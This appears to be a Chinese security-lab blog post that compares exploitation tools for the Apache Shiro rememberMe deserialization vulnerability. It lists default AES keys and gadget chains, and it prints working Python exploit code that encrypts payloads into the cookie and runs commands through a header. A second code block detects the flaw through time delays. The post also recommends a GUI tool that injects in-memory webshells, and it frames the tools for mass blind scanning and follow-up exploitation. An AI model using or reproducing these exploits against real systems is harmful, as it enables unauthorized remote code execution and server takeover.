
“燕云实验室”是河北千诚电子科技有限公司成立的网络安全攻防技术研究实验室。专注于web安全,网络攻防,安全运维,应急溯源方面的研究,开发成果应用于产品核心技术转化,国家重点科技项目攻关。
对于Shiro反序列化漏洞的分析各个师傅们已经码过很多文章了,包括组件识别、key遍历、回显payload、内存shell、CBC&GCM算法等等,尤其在2020年3月到年底,基本上每个月都有惊喜更通用的payload、更稳定的工具等等,现在各个师傅已经把Shiro分析的就像没穿衣服一样了。
Shiro、Struts2、Fastjson(我们仨)无疑是各位师傅们最喜欢的三剑客
尤其Shiro,当属其中的老大哥
其独特的加密使得各个waf和安全产品无法拦截
其重要的功能有在各个系统中被广泛使用
所以这篇文章仍然讲Shiro,但不再讲解分析和原理,现在网上有大量优质的相关文章,故来给大家讲解一哈各利用工具的使用场景和使用心得
Vulmap从0.2版本集成Shiro到现在为止,共内置了5个key和6个可回显gadget,分别是
kPH+bIxk5D2deZiIxcaaaA==fCq+/xW488hMTCD+cmJ3aQ==4AvVhmFLUs0KTA3Kprsdag==Z3VucwAAAAAAAAAAAAAAAA==0AvVhmFLUs0KTA3Kprsdag==CommonsBeanutils1CommonsBeanutils2CommonsCollectionsK1CommonsCollectionsK2Jdk7u21Jdk8u20
Github:https://github.com/zhzyker/vulmap
但由于工具整体是由python写的,目前无法向java工具那样灵活的生成和调用ysoserial的gadget去生成payload,以其他python工具为例基本都是通过系统命令调用ysoserial生成payload,怎么看怎么难受
随着时间推移Shiro的回显payload公布后vulmap内部实际上是将已经加密好的payload内置了进去,命令放在header中直接走回显,核心代码是
cmd = "echo " + mdheaders = {'User-agent': self.ua,'Testcmd': cmd}shiro = Falsekey_lists = ['kPH+bIxk5D2deZiIxcaaaA==', 'fCq+/xW488hMTCD+cmJ3aQ==', '4AvVhmFLUs0KTA3Kprsdag==','Z3VucwAAAAAAAAAAAAAAAA==', '0AvVhmFLUs0KTA3Kprsdag==']gadget_lists = [self.CommonsBeanutils1, self.CommonsBeanutils2, self.CommonsCollectionsK1,self.CommonsCollectionsK2, self.Jdk7u21, self.Jdk8u20]try:for key in key_lists:for gadget in gadget_lists:bs = AES.block_sizedef pad(s): return s + ((bs - len(s) % bs) * chr(bs - len(s) % bs)).encode()mode = AES.MODE_CBCiv = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, iv)file_body = pad(base64.b64decode(gadget))base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)).decode()request = requests.get(self.url, headers=headers, cookies={'rememberMe': base64_ciphertext},timeout=self.timeout, verify=False)self.raw_data = dump.dump_all(request).decode('utf-8', 'ignore')if "joYjqcyKkSAI" in gadget:gadget = "CommonsBeanutils1"elif r"PjgGC/k7xfgI" in gadget:gadget = "CommonsBeanutils2"elif r"MdwgAAAAQAAAAAHh4dAABdHg=" in gadget:gadget = "CommonsCollectionsK1"elif r"AAAADHcIAAAAEAAAAAB4eHQAAXR4" in gadget:gadget = "CommonsCollectionsK2"elif r"B4cHcMAAAAED9AAAAAAAA" in gadget:gadget = "Jdk7u21"elif r"BzcgA6Y29tLnN1bi5vcmc" in gadget:gadget = "Jdk8u20"if md in request.text:shiro = True
主要是两个for循环内测试所有key和gatget的组合,因此控制了key的数量,仅包含目前我认为最常见的几个key,实现方式比较简单粗暴。
总结适合批量盲扫,准确性高扫到即可利用
但内置key和gadget数量少,可能会有遗漏,目前不支持GCM算法
效果

当针对一个站点确定是Shiro又测不出来这是就要换工具了
回显是很香,但可用的gadget不多,要遍历所有gadget就要舍去回显了,为此也有写一个小工具来跑全所有key&gadget,这里还有个问题就是检测方式,主流的两种一种走dnslog一种延时,dnslog目标不出网gg,于是最终使用延时方式,方便即使在纯内网环境仍然可以检测
Github:https://github.com/zhzyker/shiro-1.2.4-rce
为了延时功能修改了原版ysoserial.jar更名为ysoserial-sleep.jar
Python的核心代码是
print ("[*] Testing gadget")for gadget in gadget_list:print ("[*] Check gadget: " + gadget)for key in key_list:popen = subprocess.Popen(['java', '-jar', ysoserial, gadget, cmd_sleep], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()mode = AES.MODE_CBCiv = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))payload = base64_ciphertext.decode()try:r = requests.get(url, headers=header, cookies={'rememberMe': payload}, timeout=10)time = r.elapsed.secondsif time >= 5:key_succes = keygadget_succes = gadgetprint ("[+] Find gadget: " + gadget_succes)else:key_failed = keygadget_failed = gadgetexcept:print ("[-] Check Failed: " + gadget)
完整代码在github中详见上边的链接,实际上还是循环遍历所有payload,默认延时5s,判断也很简单>5s即为成功,延时时间可根据不同情况修改,具体在这里

实际使用中发现这个脚本在互联网测试站点误报率还是较大,主要是还是网络波动的影响,但是如果处在内网绝对稳定且全乎,默认内置了25个key和ysoserial的所有gadget,也可以根据自己需求再添加更多key
总结就是不适合批量适合单站深测
可用于内网或目标不出网
暂时不支持GCM算法
效果

如果你想要图形化又功能比较多的工具,有,这里就推荐@j1anFen师傅的利用工具了
目前功能最全这里就要推荐j1anFen师傅的的shiro_attack.jar了
Github: https://github.com/j1anFen/shiro_attack
实现的功能包括
1. 检出默认key (SimplePrincipalCollection) cbc/gcm
2. Tomcat/Springboot 回显命令执行
3. 集成CommonsCollectionsK1/K2
4. 通过POST请求中defineClass字节码实现注入内存马(Servlet实现参考哥斯拉内存马)
5. resources目录下shiro_keys.txt可扩展key
图形化的界面点一点很方便

总结不适合批量,丰富功能适合单点测出洞后后续利用
支持GCM可测出更多种类,但gadget数量有限
效果

没啦~😅





